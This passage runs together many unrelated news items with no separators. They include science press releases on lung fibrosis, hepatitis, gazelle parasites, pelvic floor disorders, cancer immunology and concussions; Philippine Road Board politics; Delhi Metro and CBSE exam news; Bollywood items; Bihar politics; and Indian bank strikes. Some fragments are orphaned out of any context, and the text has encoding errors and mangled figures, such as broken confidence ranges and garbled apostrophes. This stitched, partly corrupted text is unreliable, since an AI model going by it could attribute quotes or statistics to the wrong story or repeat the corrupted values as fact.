its own gene expression and feedback loop," says Xinh Xinh Nguyen, a graduate student who is working with Feghali-Bostwick and first author on the article. "This suggests that IGFBP5 acts together with profibrotic genes to promote fibrosis and tissue remodeling." The MUSC used collagen-producing cells harvested from patients with IPF or scleroderma to explore the profibrotic effects of IGFBP-5. But they also went a step further, showing similar increases in human lung tissue cores. These cores more realistically mimic the physiologic conditions of living human tissue. "It's important to understand the effects of IGFBP5 in human tissue if you are developing therapies," explains Feghali-Bostwick. "Many therapies work in mice but fail in humans when you get to the human trials. So we have this system where we take lung tissues and put them in an environment that's a human-based tissue." Next steps are to use collagen-producing cells and human lung tissue cores to better understand how the increased levels of LOX caused by IGFBP-5 further promote fibrosis. The MUSC team will also study LOX in a transgenic mouse model that is engineered to overexpress IGFBP-5. This important translational discovery was made possible by the South Carolina Clinical and Translational Research (SCTR) Institute's TL1 predoctoral training program, which instills in graduate students the skills they will need to translate their basic science research to the clinic. Nguyen is a TL1 trainee, and Feghali-Bostwick is her mentor as well as the associate TL1 program director. "The TL1 program is critical in training the next generation of scientists and physician-scientists who can move discoveries from the bench to the clinic," explains Feghali-Bostwick. "Graduate students are our pipeline for the future, and this program teaches them about how to have the right mindset and think about translational research and clinically relevant research." "Participation in the TL1 program has provided me additional learning opportunities to gain expertise in translational research," says Nguyen. "It has enhanced my knowledge about clinically relevant aspects of my project." Nguyen was able to shadow Deanna Baker Frost, M.D., Ph.D., an assistant professor in the MUSC College of Medicine, as she saw patients with scleroderma. Baker Frost is participating in SCTR's Institutional Career Development KL2 program, which focuses on preparing early-career scientists and physician-scientists for translational research. "Xinh Xinh (Nguyen) is doing research on scleroderma, but now she understands better what scleroderma is and understands what patients go through and what their complications are and what they come in for," explains Feghali-Bostwick. "That puts it all in perspective and helps her better understand why she is doing the research she is doing." Feghali-Bostwick believes that there is a natural mentoring relationship between the KL2 and TL1 scholars. "There is less of a gap between them than between senior scientists like myself and TL1s," she says. "It's a good fit; it's a natural fit." Liver failure caused by attack on blood vessel cells In severe cases, a viral hepatitis infection can result in liver failure. A team from the Technical University of Munich (TUM) has now discovered how this occurs: by immune cells attacking cells in the vascular system, which disrupts the organ's blood and nutrient supply. This is responsible for the overwhelming damage that causes the liver to fail. Using an animal model, the researchers were then able to identify an agent to prevent this lethal process. An infection of the liver with viral hepatitis, such as the hepatitis B virus, can progress in very different ways: the liver inflammation (hepatitis) can heal again without any problems; become chronic and require lifelong medication; or take a fulminant - i.e. potentially fatal - course. In the latter case, the immune-mediated damage to the liver is so severe that the organ fails, leaving a liver transplant as the last remaining treatment option. Hepatitis viruses target the liver cells, or hepatocytes. The immune system tries to bring the infection under control by attacking and destroying the infected liver cells with the help of certain immune cells, known as killer T-cells. It was previously assumed that this process was also responsible for the severe organ damage that accompanies acute hepatitis. Now, though, Dr. Dirk Wohlleber, Research Group Leader at TUM, and Percy Knolle, Professor of Molecular Immunology, have arrived at a completely different explanation. In collaboration with colleagues from the universities of Wurzburg and Bonn (Germany), they discovered that this organ failure is not in fact caused by the death of liver cells, but by defects in the vascular (blood vessel) system. Blood supply disrupted by immune cells The liver is home to important cells called liver sinusoidal endothelial cells, or LSECs for short. These connect the cells of the liver to the vascular system and regulate the exchange of nutrients and oxygen with the blood. They also have the ability to present small fragments of viruses on their outer membrane, in a similar way to immune system cells. The researchers observed that the killer T-cells specifically detected these viral particles, mistaking the LSECs for infected liver cells and destroying them. To this end, they used proteins that integrate into the cell membrane of the target cell and form a pore. Known as perforins, these proteins perforate the membrane and destroy the cell. "We observed that the elimination of LSECs by the immune cells has an enormous impact on the liver tissue. Blood flow within the liver is hugely disrupted, with large numbers of liver cells - even those not infected - dying as a result. This immune response has a much more dramatic effect than the attack on liver cells that are actually infected," Wohlleber explains. This discovery was made possible by a new mouse model specially developed by the researchers to replicate the fulminant course of viral hepatitis. Perforin inhibitors as a therapeutic tool "Only now that we have pinpointed the actual destructive mechanism in acute hepatitis can we consider new treatment strategies and specifically target this process," underscores Knolle. Using their mouse model, the researchers were able to show that a new active substance can prevent fulminant hepatitis. This is a perforin inhibitor, which stops the killer T-cells from forming pores and thus safeguards the LSECs from attack. This agent successfully protected the mice from developing fulminant hepatitis, since the LSECs remained intact, preserving the blood supply to the liver cells. Animals living in large groups tend to have more parasites than less social animals do, but according to a new study in Proceedings of the Royal Society B, they may also be better protected from the negative effects of those parasites. Ecologists at the University of Georgia found that Grant's gazelles that live in larger groups were more likely to be infected by intestinal worms, but less likely to suffer their ill effects than those in smaller groups. "The phenomenon of getting intestinal worm parasites is common to many, many species," said Vanessa Ezenwa, a professor in the Odum School of Ecology and College of Veterinary Medicine. "And one of the strongest negative impacts of these types of infections, well described in domesticated animals, is that they cause anorexia. We find that in this wild species, being social somehow counteracts that effect." Ezenwa conducted the study in Mpala Research Center in Kenya. Using nets deployed from a helicopter, her team captured wild gazelles. After tagging each one, they collected fecal samples and noted each animal's size, weight and other statistics. They treated half of the gazelles with a deworming drug that was effective for 120 days; the other half were left untreated as a control. The researchers then followed all of the animals for over a year, collecting fecal samples to monitor parasite levels and recording observations on the animals' social and feeding behavior. They found that gazelles in larger groups--groups of up to 25 individuals, with an average size of nine--had a 39 percent higher risk of infection than those living in smaller groups. But infected animals in these larger groups ate significantly more than infected animals in smaller groups--almost as much as uninfected animals. Ezenwa said that one reason the infected animals in larger groups may eat more is that the larger group offers more protection from predators. "There's a hypothesis called 'many eyes,'" she said. "When the group is bigger, the rate of detection of predators goes up, because at any given time there are more individuals paying attention. So that can free up individuals to put more time into other behaviors, and typically that would be feeding." Ezenwa says that an important next step would be to conduct experiments under controlled conditions to explore the physiological and behavioral mechanisms driving the effect she observed. Ezenwa also cautioned that the phenomenon of social living reducing the cost of infection may not be applicable to all parasites. "What I'm describing here might be particularly relevant for very common parasites you can't avoid over the course of your lifetime, but for rarer ones it might be a different story," she said. "If you're going to be infected no matter what, like with these worms where the prevalence is really high and there's no way to protect yourself from them, then being in a big group might be an important way to minimize the impact of infection." Ezenwa said that the results of the study show that it's important to think about both costs and benefits when trying to understand how social interactions shape infectious disease outcomes in individuals and populations. "We are a social species just like these gazelles," said Ezenwa. "Being social has a lot of implications for our health. We already know that social contact has a huge impact on our exposure to infectious diseases, so I think what we need to understand better is how social contact might simultaneously give us advantages in terms of reducing the impacts of those infectious diseases." Decade-long study identifies women at highest risk for incontinence Research completed at Johns Hopkins and the Greater Baltimore Medical Center has demonstrated that vaginal childbirth substantially increases the probability a woman will develop a pelvic floor disorder later in life. Pelvic floor disorders, including urinary incontinence and uterine prolapse, afflict millions of women in the United States. However, until now little was known about who will develop these conditions and how they progress over time. In this weeks Journal of the American Medical Association, Johns Hopkins and Greater Baltimore Medical Center researchers report results of a 10-year study showing that some delivery modes, including spontaneous vaginal delivery, are associated with higher risk of some types of pelvic floor disorders. New study considers a womans risk to develop one of four pelvic floor disorders based on childbirth delivery method. Credit: iStock We knew that these disorders are more common after childbirth, but now after following these women for 10 years, we have a good sense of how delivery mode impacts a womans risk of developing a pelvic floor disorder. Victoria Handa, M.D., M.H.S., professor of gynecology and obstetrics at the Johns Hopkins University School of Medicine and director of gynecology and obstetrics at Johns Hopkins Bayview Medical Center This study considered a womans risk of developing one of four pelvic floor disorders: stress urinary incontinence (urine leakage during with activities that increase abdominal pressure), overactive bladder (frequent and urgent urination), anal incontinence (involuntary loss of solid stool, liquid stool or gas) and pelvic organ prolapse (when the uterus and vaginal walls fall downward into the vagina, protruding beyond the vaginal opening when bearing down). The research team enrolled 1,528 women within five to 10 years of their first birth. These women were followed annually for up to nine years. Of the women, 778 delivered all of their children via cesarean birth, 565 had at least one spontaneous vaginal delivery and 185 had at least one delivery involving forceps or vacuum-assistance, also called operative vaginal delivery. The median age at enrollment was 38.3the youngest study participant at enrollment was 22.7 years old and the oldest participant at the end of the study was age 61.7. The team collected information from the women at the time of enrollment, including date of first birth, age at first birth, body mass index, whether they had developed any pelvic floor disorder already, birth delivery mode, and genital hiatus size the distance between the urethra and the posterior hymen. The team then collected information at follow-up visitsthe cesarean birth group made 4,039 visits, the spontaneous vaginal delivery group made 2,817 visits and the operative vaginal delivery group made 948 visits. Some women already had developed pelvic floor disorders at the time of study enrollment while others developed the conditions over the course of the study. In all, the researchers found that cesarean delivery substantially reduced the risk of pelvic floor disorders, most notably pelvic organ prolapse, while operative delivery increased the risk. And for pelvic organ prolapse, the magnitude of these differences grew over time. For example, by 15 years after a first delivery, prolapse of the uterus or vaginal wall beyond the vaginal opening was seen in 9 percent (712 percent) of women who had delivered by cesarean, 30 percent (2535 percent) who had at least one vaginal delivery and 45 percent (3753 percent) of those who had at least one operative delivery. The researchers also found that a large percentage of new cases of urinary and bowel incontinence developed in the first five years after delivery, while pelvic organ prolapse tended to develop many more years after childbirth. A third discovery was that the genital hiatus size is significantly associated with all pelvic floor disorders but most significantly with pelvic organ prolapse. This suggests that the genital hiatus size is a marker that might identify women at high risk of developing pelvic floor disorders with aging. The importance of research into the role of the immune system in the development and therapy of oncological diseases was emphasized by the Royal Swedish Academy, which recently named James Allison and Tasuku Honjo recipients of the 2018 Nobel Prize in Physiology or Medicine for launching an effective new way to attack cancer by treating the immune system rather than the tumor. In recent decades, it has been proven that the effectiveness of existing anti-cancer therapy strategies (for example, chemotherapy and/or radiation therapy) increases if the applied therapy leads to cell death through the pathway of immunogenic cell death (ICD), which is associated with the activation of the body's anti-tumor immune response, resulting in the most complete elimination of the tumor. Immunity plays an immense role in the body's fight against cancer. Every day, the cells of the immune system check all the cells of our body for "normalcy" and kill the degenerated cells. Sometimes cells hide from the immune system and escape the immunological control, and then a tumor develops. Today, there are many different ways to deal with tumors, but often they prove incurable. However, recent research shows that if the immune system eventually begins to see a tumor, the body can win the fight with it. This is the reason why immunogenic cell death has become an object of close study for researchers at Lobachevsky University in Nizhny Novgorod (Russia). The immunogenic cell death is characterized by the release of damage-associated molecular patterns (DAMPs) and/or cytokines/chemokines by the dying cells, thus launching a strong anti-tumor immune response. Cells that die in the process of immunogenic cell death act as vaccines by activating the immune system, which in turn generates a specific anti-tumor T-cell immune response. Therefore, at present, there is a significant amount of research in experimental cancer therapy aimed at increasing the immunogenicity of dying cancer cells through the use of biomaterials for targeted delivery of anti-tumor agents. A team of researchers from Lobachevsky University (UNN) under Ghent University Professor Dmitry Krysko, Leading Researcher at the Department of General and Medical Genetics of the UNN Institute of Biology and Biomedicine, has published a review article "An emerging role for nanomaterials in increasing immunogenicity of cancer cell death") in the journal BBA - Reviews on Cancer. The article presents the current ideas about the possibility of using nanomaterials in the treatment of cancer, including their ability to induce an immunogenic form of cancer cell death (the so-called ICD). According to Maria Vedunova, Director of the UNN Institute of Biology and Biomedicine, the article highlights the basic principles of the concept of immunogenic cell death, its molecular basis, and discusses the potential use of DAMPs as biomarkers of anti-cancer therapy effectiveness. "The paper also shows the diversity of types and structures of biomaterials used in the development of new therapeutic strategies, and discusses their role in increasing the effectiveness of chemotherapy. In particular, the results of experimental work on animals are presented, proving that the immunogenicity of chemotherapeutic agents can be increased by using biomaterials (nanoparticles of various types, liposomes, etc.) for their delivery. In turn, it leads to a decrease in the risk of metastases and an increase in the long-term survival rate. Besides, the use of biomaterials allows for the delivery at the same time of both a chemotherapeutic agent and adjuvants (for example, the agonists of the main components of the innate immune system -- toll-like receptors (TLR) and indoleamine 2,3-dioxygenase (IDO) inhibitors), which can enhance the role of immune responses in relation to cell death occurring through the immunogenic pathway," Maria Vedunova notes. Another advantage of using biomaterials, continues Tatiana Mishchenko, Senior Researcher at the UNN Laboratory for developing neuroprotection methods, is to implement targeted delivery of a chemotherapeutic agent to tumor cells, thereby significantly increasing the content of the drug in the tumor and reducing its toxicity to normal body cells. "Encapsulation of drugs in nanoparticles also prevents the accumulation of drugs in vital organs (for example, in the heart and intestines) and allows for the use of higher doses, which is impossible when using a free drug that has pronounced side effects," explains Tatiana Mishchenko. The study is of great significance for the development of practical medicine. Within the framework of the research, all modern ideas have been collected about the immunogenic cell death phenomenon that is so important from the point of view of the fight against cancer. Future research and clinical trials will show whether the use of biomaterials is the optimal strategy for modulating the immunogenicity of dying cancer cells and will provide the information required to develop new cancer treatment strategies, in particular, the therapeutic concept of activating the immunogenic cell death in case of glioma (one of the "worst" brain tumors). Researchers at the University of New Hampshire have found that young adults who experienced repetitive mild traumatic brain injury (mTBI), or concussions, can experience persistent cognitive changes as well as altered brain activity. "Multiple concussions, even after general symptoms have subsided, decrease an individual's ability to flexibly shift their mode of thinking," said Robert Ross, assistant professor of psychology. "We found that these decreases in performance are associated with changes in how the brain communicates information." In their study, recently published in the European Journal of Neuroscience, researchers looked at young adults ranging in age from 18 to 24 who had sustained at least two concussions with the most recent one being at least a month before the testing. The participants were asked to switch between two tasks which included telling the difference between colors and shapes, like red and green and circle or square. Cognitive changes, like working memory and processing speed, were noted and oscillatory activity, or brainwaves, were monitored with an electroencephalogram (EEG), which tests for changes in the brainwaves. In both the concussion group and the control group, researchers looked for differences in three different types of brainwaves and their effects on executive function, which is the ability to control cognitive functions like attention, inhibition, performance, flexibility, stability, working memory, and planning. They found an overall lower performance rate from those in the concussion group during the task-switching exercise. They were less accurate and processing performance was low. "This is important because in the United States more than one and a half million people suffer traumatic brain injuries each year," said Daniel Seichepine, assistant professor of psychology and neuropsychology and a co-author on the study. "Most concussion-related studies focus on older adults or professional athletes, but these findings offer insight into the cognitive changes many young adults may suffer even years after their injury." The researchers hope these findings may help develop better targeted treatment strategies for this population as they age. Metro Manila (CNN Philippines, December 20) Amid disagreements of the Palace and the Senate with the House over the proposed abolition of the Road Board, Senator Ping Lacson said he is mulling to abolish the road users' tax if it is only being misused. "Based on what's happening now and assuming na tama 'yung computation na [that the computation is correct that] we're overtaxed, well, let's do away with the road user's tax," Lacson told CNN Philippines' The Source on Thursday. The road users' tax, also known as the motor vehicles user's charge (MVUC), is administered by the allegedly corruption-laden Road Board, which the Palace and the Senate seek to abolish. However, this move has been blocked by the House, which backtracked on its support to do away with the board. The Road Board, which is headed by the secretaries of the Department of Public Works and Highways (DPWH), Department of Transportation (DOTr), Department of Budget and Management, Department of Finance, and two representatives from the private sector, is in charge of around P45 billion worth of tax money collected by the government from road users. The agency is in charge of the maintenance and repairs of roads, but its performance has been repeatedly hit by the Commission on Audit (COA) for being inefficient. In 2017 alone, the COA slammed the Road Board over 1.458 billion worth of uninitiated projects and 3.739 billion worth of unimplemented or unobligated projects due to slow procurement processes and failure to coordinate with local government agencies and public utility corporations. The state audit firm also found 7.962 million in excessive costs in seven projects due to overstatement of the quantity and costs of work items and overpayment to contractors totalling to P3.540 million. "Kung ang pinaguusapan natin hundreds of billions of pesos na nawawala sa corruption, either we're overtaxed or underserved. Kung tama 'yung taxation sa atin, underserved naman tayo. Eh kasi hindi natin nakikita 'yung service ng government commensurate doon sa taxes na binabayad natin," Lacson said. [Translation: If we are talking about hundreds of billions of pesos which we are losing due to corruption, either we're overtaxed or underserved. If we're correctly taxed, then we're underserved. Because we're not seeing the government's service being commensurate with the taxes we are paying.] 'Road Board kings' Both the Senate and the House passed a bill abolishing the Road Board and splitting the MVUC to be placed into four trust funds 40 percent in the Special National Road Support Fund and 40 percent in the Special Local Road Support Fund, both of which would be managed by the DPWH, 10 percent in the Special Pollution Control Fund managed by the DOTr, and 10 percent in the Special Pollution Control Fund under the Department of Environment and Natural Resources. However, three months after Pampanga 2nd District Rep. Gloria Macapagal-Arroyo became Speaker, the House rescinded the House Bill No. 7436's approval on third reading, leaving the measure in limbo. In a statement on Thursday, Andaya said the bill does not abolish the Road Board, but instead makes the DPWH, DOTr and DENR secretaries "three powerful Road Board kings" who would have "dictatorial powers" over the MVUC collections. "Kasing klaro pa ng sikat ng araw na sa ilalim ng HB 7436, ang pondo ay off-budget, hindi transparent at idedeposito sa special trust funds under the control of the Road Board Kings," Andaya said. [Translation: It is clearer than the rays of the sun that under HB 7436, the funds are off-budget, not transparent and would be deposited into special trust funds under the control of the Road Board Kings.] The House Majority Leader also assailed a provision in the bill which includes the improvement of solid waste management programs and facilities into the projects which may be funded by the MVUC. House records show that Andaya did not cast a vote when HB 7436 was passed on third reading in May as he was absent. He also did not raise these concerns against the bill during plenary deliberations. Despite the House's firm stance against the Road Board's abolition, the Malacanang is standing pat on its desire to get rid of the board, saying that President Rodrigo Duterte would sign the measure into law as soon as it reaches him. Budget Secretary Ben Diokno said they are still waiting for Congress to transmit the enrolled copy of the bill. However, Andaya said no enrolled copy can be transmitted as Arroyo could not sign it as the House rescinded its passage on third reading in September. In a previous interview with CNN Philippines' The Source, Diokno said requests for the release of MVUC collections totalling to around 11 billion are on his table which he has not approved, as Duterte himself wants the Road Board abolished. But Andaya is also claiming that Duterte wants the Road Board to stay and that the President wants the MVUC collections released. He said Diokno should talk to the President, as he supposedly did, and should "stop giving alternative facts." The budget chief, who is facing corruption allegations and calls for his resignation, said congressmen are after his head because of his refusal to release the MVUC collections, which they would allegedly use for their campaign in the coming polls, and his push for the abolition of the Road Board. In a Palace briefing yesterday, Diokno, who is an ex-officio member of the Road Board, claimed that Andaya and House Minority Leader Danilo Suarez had asked him about releasing MVUC collections. Andaya has denied this. Former House Majority Leader Rudy Farinas also denied that his district received funding from the Road Board. "My district has not received any Road Board Fund under the present Administration, even when I was the Majority Leader. As I said, it was Speaker [Pantaleon] Alvarez and I who initiated its abolition," Farinas said. CNN Philippines Correspondent Xianne Arcangel contributed to this report. The Illinois Attorney General issued a formal opinion in 1985 that the same person cannot serve on both the city council and school board. A spokesman for the Illinois Board of Elections said a candidate who files for two offices that cannot be held at the same time has five days to pick which office she will to run for, but a Lake County Clerks Office official did not know what office would initiate at that process. Shuma-Gorath or Gargantos? One of these Marvel monsters is headed to the MCU in Doctor Strange 2 Classic Doctor Strange villain Shuma-Gorath may be heading to the big-screen in Doctor Strange and the Multiverse of Madness - or at least a villain like him GamesRadar+ is supported by its audience. When you purchase through links on our site, we may earn an affiliate commission. Learn more Sorry! This content is not available in your region I hear a lot of positive comments from residents about our special events, Spacone said. They say its nice that we have a number of special events, not too many. Its just enough to make sure people have enough to do. Its at the heart of our community. The current school board last year approved $22.5 million for a new aquatic center and parking lot at Libertyville High School and in January is expected to vote on a $5 million project to repurpose the existing pool and $26.6 million worth of expansions at Vernon Hills High School. If the second waive of construction gets approved, the newly configured school board would be sworn in shortly before construction would begin. New Delhi: The Arvind Kejriwal-led Aam Aadmi Party (AAP) government in Delhi approved the fourth phase of the Delhi Metro in a Cabinet meeting held on Wednesday. The chief minister said that it would boost the public transport and reduce pollution in the national capital. The Delhi government has also decided to construct elevated roads under three Metro corridors -- Rithala-Bawana-Narela, Janakpuri West-RK Ashram and Mukundpur-Maujpur -- of the total six under the 103-km-long Phase IV. The Cabinet gave a nod to the much-anticipated Phase IV corridor around two-and-a-half years after it had given the in-principle nod. The project is expected to be completed by 2024. Among the projects chosen under Phase IV are: Rithala-Bawana-Narela (21.73 km, elavated), Janakpuri West-RK Ashram (28.92 km, 21.18-km elevated ), Mukundpur-Maujpur (12.54 km, elevated), Inderlok-Indraprastha (12.58 km, underground), Aero City-Tughlakabad (20.2 km, 5.58-km elevated), Lajpat Nagar-Saket G Block (7.96 km, 5.89-km elevated). Read More | Fuel now retailing at early-2018 prices, could witness more cuts, check December 20 rates here While briefing the media on these developments, Deputy Chief Minister Manish Sisodia said that the AAP government would give its share of Rs 9,707 crore towards the construction work under the project, which is estimated to cost around Rs 45,000 crore. The operating losses, if any, would be shared between the government and the Centre at a ratio of 50:50 for the project. The deputy chief minister also blamed the Bharatiya Janata Party (BJP) and the government officers for the delay. He said that the proposal was passed despite the best efforts of BJP to create hurdles through officers by making them write adverse comments on files and through rumour mongering. Officials were made to write adverse comments, such as on the financial viability, on files so that the matter becomes contentious. The Centre tried to stop our mohalla clinics, doorstep delivery projects, but just like we got these two projects passed, Phase IV has also been passed now, he said as quoted by the Indian Express. The finance department of the Delhi government had said in 2015 that the project is not financially viable. The department again reviewed the project earlier this year and found three of the corridors financially inviable. Also Read | Delhi Pollution: Air quality worsens, several areas record severe' AQI Arvind Kejriwal took to Twitter and said that after the "revolutionary changes" in education, health, water and electricity, there would be changes in transport at a major scale. The chief minister added that he has a dream of seeing Delhi being counted among the select cities of the world, and every citizen, be it rich or poor, would feel proud of it. The Phase-IV project had become a bone of contention between the AAP government and the BJP-led Union government as the former did not give its final nod to the project, even after its in-principle approval to the same in February 2016. New Delhi: The Central Board of Secondary Education (CBSE) will complete the pre-examination formalities for the upcoming class 10 and 12 board examinations 2019. The board will release the CBSE 10 and 12 Board Exam 2019 date sheet anytime now. With the vocational examinations starting in the second half of February, it is expected that the date sheet will be released earlier than its usual schedule of January. The board, in a letter to the heads of affiliated schools, said that the Class 12 practical examinations will be held in January and February. For 2019 CBSE Board examination, the practical examinations will be held from January 16, 2019 to February 15, 2019 except in the city of Allahabad. The CBSE Class 12 practical examinations in Allahabad, where Kumbh Mela celebrations are happening during that period, will commence from January 1, 2019. As per the timelines, it can be expected that the CBSE 10th 12th Board Examinations 2019 may begin from about February 18 and end by April 10. CBSE may also be expected to release the results earlier than usual by May 15, so as to complete the revaluation results before June 1, when the Delhi University Admissions begin. These dates, however, are based on timelines and actual dates are not available at present. Read More | MP Board Class 10, 12 exam 2019 timetable released, check here The Board had earlier released the list of probable subjects which are scheduled to be held on February and March 2019. Parents and students were also notified that the final list of subjects would be released only once the actual date sheet for the CBSE Board Examinations 2019 is released. Also, the actual schedule of these examinations would also be released only along with the date sheet. Parents and students are again notified that the board examinations this year would commence from February third week (in boards words second half of February). The board has taken the decision to conduct the vocational examinations in February in order to speed up the schedule, so as to comply with Delhi HCs order to complete the results before Delhi University admissions begin. For years, CBSE board exams for Class 10 and Class 12 which used to be conducted in March will now be held in February from 2019. There are about 40 vocational courses offered by the board for Class 10 and Class 12 students. CBSE will also conduct the following exams in February as these subjects have a larger practical component and shorter theory papers: New Delhi: Jacqueline Fernandez has been an active voice when it comes to social issues. The actress who has advocated many causes like marine conservation and animal welfare and for long time Jacqueline is a part of the rebuild Kerela campaign after the unfortunate floods hit the state. The Habitat for Humanity India, an NGO, plans to build or repair 6,000 homes of those affected by the deluge in Kerala. Under this campaign, Jacqueline Fernandez had visited the flood-affected areas in Kerala. Earlier, in the first phase of the relief work, Jacqueline appealed to her fans and her industry colleagues to provide first Responders Kit, a humanitarian aid kit and bottled drinking water to 93,889 families. Now, Jacqueline is working for the second edition of the campaign. Also Read | 'Aala Re Aala' from 'Simmba': Ranveer Singh dances every happy emotion After celebrities like Shraddha Kapoor, Akshay Kumar, John Abraham, Arjoon Kapoor now Hrithik Roshan has also extended his support and join Jaqueline for the Rebuild Kerala Campaign. Hrithik has been saddened by the calamity happened and that's how he came forward and join Jaqueline's initiative. Through the initiative, Jacqueline has already collected funds to rebuild Kerela and now the second edition is in process . Jacqueline Fernandez fans are falling over the lady with every passing day and they have gone to the next level to showcase their love for her. More graffiti arts are making Bandra walls their homes, where the gorgeous beauty of B-Town resides. After attracting eyeballs over a new selfie point in the town with the Graffiti art of Jacq of Hearts near Jacquelines house in Pali Hill, her fans have taken up another graffiti art on the wall near Rizvi college and Carter road in Bandra. Jacqueline also represented the voice of animal welfare at the UN on the world animal day as she took 8 million petition signatures voicing her opinion against animal testing. Recently, the actress also addressed the One Young World Event in The Hague as she expressed her thoughts about sexual harassment. Also Read | 'Simmba' star Sara Ali Khan Dazzles in Dreamy white lehenga Apart from Animal welfare, Jacqueline Fernandez also supports Marine Conservation and has been actively contributing to creating awareness amongst the masses using social media platforms. For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: The star kid that has been in the limelight since the time of his birth and is the favourite of the paparazzi is Taimur Ali Khan. There is no competition to Kareena Kapoor and Saif Ali Khanas son Taimur when it comes to popularity and fan following at such a young age. Saif Ali Khan and Kareena Kapoor Khan were blessed with a baby boy on December 20, 2016. Saif and Kareenaas 'choteA Nawab' has already turnedA two year old! To celebrate this day, Saif along with wife Kareena Kapoor Khan and son Taimur packed their bags and quietly jetted out to their favourite holiday destination South Africa and their pictures are heavenly!A Hereas one of our favourite picture from Nawab familyas vacation: Kareena looks breathtaking in a white sun dress while Nawab is seen in his casual best at the beach. If thereas somebody who can steal Beboas thunder, itas baby Taimuras cute antics. Look at him swinging in his dadas arms: Kareena looks gorgeous soaking the sun in her white dress: Hereas another one, where sheas seen spending some alone time with husband Saif. Kareenaas professionalism is one thing that even debutante Sara Ali Khan wants to pick up from her! Bebo did not let her work take a back seat even on a vacay. Pictures of Kareena Kapoor Khan shooting for a TVC in Cape Town with her team surfaced on the social media where she is looking gorgeous in a pair of flared denim with a striped front-knot shirt. Here, take a look at her: With such adorable pictures online, Taimur loyalists are left with no option but to go gaga over the little one's cuteness.A On the professional front, the actors remain busy as ever. While Kareena will begin work on Karan Joharas period drama, Takht, which also stars Ranveer Singh and Alia Bhatt, and a comedy, Good News, with Akshay Kumar, Saif has already begun shooting for his next film, Hunter, in which he plays a Naga Sadhu. For all the Latest Entertainment News, Bollywood News, Download News Nation Android and iOS Mobile Apps. New Delhi: Danish Zehen, more popularly known for his promising YouTube career and as a participant in the Ace of Space television series died in a tragic car accident this Thursday morning. According to sources, the 21-year-old was returning from a wedding when the accident took place near Vashi, Navi Mumbai. Fans and families alike are shell shock by his sudden death and Vikas Gupta who hosted the show Ace of Space, took to social media to mourn Danishs shocking demise. Sharing a picture of Danish, he wrote a heartful note for the rising star, "Danish tu humesha zehen main rahega, how do I tell the other houseguests that you aren't coming back. You are the coloured hair king of AceOfSpace #Coolestbadboi You looked like a baby as I saw you lying down, thinking you could wake up anytime. You have long gone but you shall remain always in my #Zehen Thankyou for teaching me this word,. Also Read | Amber Heard recalls aftermath of divorce from Johnny Depp Other reality TV stars like Divya Agarwal and Varun Sood who were also part of the television series with Danish expressed their remorse on their Instagram handle. Varun posted a picture of Danish on Instagram handle where Danish can be seen sitting on a cloud looking down at the city in all smiles. He captioned the image, "Danish Zehen (1997- ) @danish_zehen" Divya Agarwal, on the other hand, posted an old Instagram lip-synching Tik Tok video of Zehen where she wrote, "You were always known as the bundle of energy, someone who has never surrendered to situations, who has never given up in his life.. Today, we have lost a man of good deeds who is now with God I wish you had not left us so early!!! We Love You. Danish RIP" Danish was a rising star on social media with over one million followers on his Instagram account. His sudden death has been met with deep shock by friends, families and fans alike. New Delhi : The former minister in Narendra Modi cabinet and chief of Rashtriya Lok Samta Party (RLSP), Upendra Kushwaha, on Thursday joined the Grand Alliance in Bihar for the upcoming Lok Sabha elections. Last week, Kushwaha had quit as the Union minister and pulled out from the BJP-led alliance, citing arrogance at the hands of the saffron party. This was announced in a joint press conference of the alliance partners at the Congress headquarter in Delhi. "There is a gathbandhan (alliance) in Bihar, it's a matter of happiness that Upendra Kushwaha is joining the mahagathbandhan (grand alliance), senior Congress leader Ahmed Patel told reporters. Addressing the joint press conference, Rashtriya Janata Dal (RJD) leader Tejashwi Yadav said that the RLSP chief joining the anti-BJP front in Bihar was an alliance of hearts. Earlier, leaders of Mahagathbandhan, including Hindustani Awam Morcha (HAM) leader Jitan Ram Manjhi and Congress leader Shaktisinh Gohil, RJDs Tejashwi Yadav, JDU rebel Sharad Yadav and RLSP leader Upendra Kushwaha held a meeting at AICC office in Delhi to discuss the terms of the alliance. Also Read | These 11 parties left PM Narendra Modi since 2014 Lok Sabha elections After joining the Grand Alliance, Kushwaha said the biggest reason for joining the anti-BJP front was people of Bihar. He also mentioned wholeheartedness shown by Rahul Gandhi and Lalu Yadav one of the reasons for joining the alliance. We had said that we have many options and UPA was one of them. The wholeheartedness shown by Rahul Gandhi and Lalu Yadav is one of the reasons I joined but the biggest reason I'm here is the people of Bihar, Kushwaha said during the press conference. On December 10, Kushwaha had quit as a Union minister and pulled out his support from the BJP-led led alliance, accusing PM Modi of reducing the cabinet to a "rubber stamp". Kushwaha also warned smaller NDA allies that they will also face the same arrogance as he did. Also Read | Leave NDA or face same arrogance: RLSP leader Upendra Kushwaha's warning to BJP allies before 2019 elections Below is the possible seat sharing scenario in Bihar Congress: 8-12 seats RJD: 18-20 seats RLSP: 4-5 seats CPM, CPI, CPI(ML): 1 seat Jitan Ram Manjhis HAM-S: 1-2 seats For all the Latest India News, Download News Nation Android and iOS Mobile Apps. New Delhi: With two bank strikes scheduled in the coming week, there is a possibility that banks across the country will remain shut for as long as five days. Banking services could be severely affected around Christmas as members of Indian Bank's Association (IBA) have proposed a two-day strike to protest the merger of public sector banks. Reports indicate that a bank union has called for an all-India bank strike on December 26 and a bank officers' union, too has separately called for another strike on December 21. This means with Christmas holidays round the corner, no bank-related work can be scheduled after December 20 till December 26 except December 24, which is a Monday. The All India Bank Officers Confederation (AIBOC) said that the strike call on December 21 has been called against the Indian Banks' Associations move to leave officers in scale IV and above out of the bipartite wage settlement ambit. If these bank strikes happen, December 21 being Friday will hamper banking services, mainly offline banking, therefore on December 22 (fourth Saturday), December 23 (Sunday), December 25 (Christmas a prescribed bank holiday), there will be no work in banks. The strikes on December 21 and 26 would disturb services drastically in these days, barring December 24 (Monday). Read More | Rupee slips 24 paise to 70.63 against US dollar in early trade The AIBOC, which announced the December 21 strike on the issue of wage revision in the 11th bipartite settlement, is demanding a salary revision according to the charter of demands, five-days week banking, a full mandate for officers up to Scale VII, stopping sales of third-party products and the scrapping of NPS. ATM operations likely to stay unaffected ATM operations may remain unaffected on December 21, an official of the association said. "We will not use any force to close the ATMs. The employees engaged in ATMs are not controlled by the officers' bodies," AIBOC assistant general secretary Sanjay Das said. However, ATM operations may be hit on December 26, the day the United Forum of Bank Unions (UFBU) has called a strike. Also Read | Fuel now retailing at early-2018 prices, check Dec 20 rates here Earlier the United Forum of Bank Unions (UFBU) had given a call for bank strike on December 26 to protest the government's decision to merge Bank of Baroda, 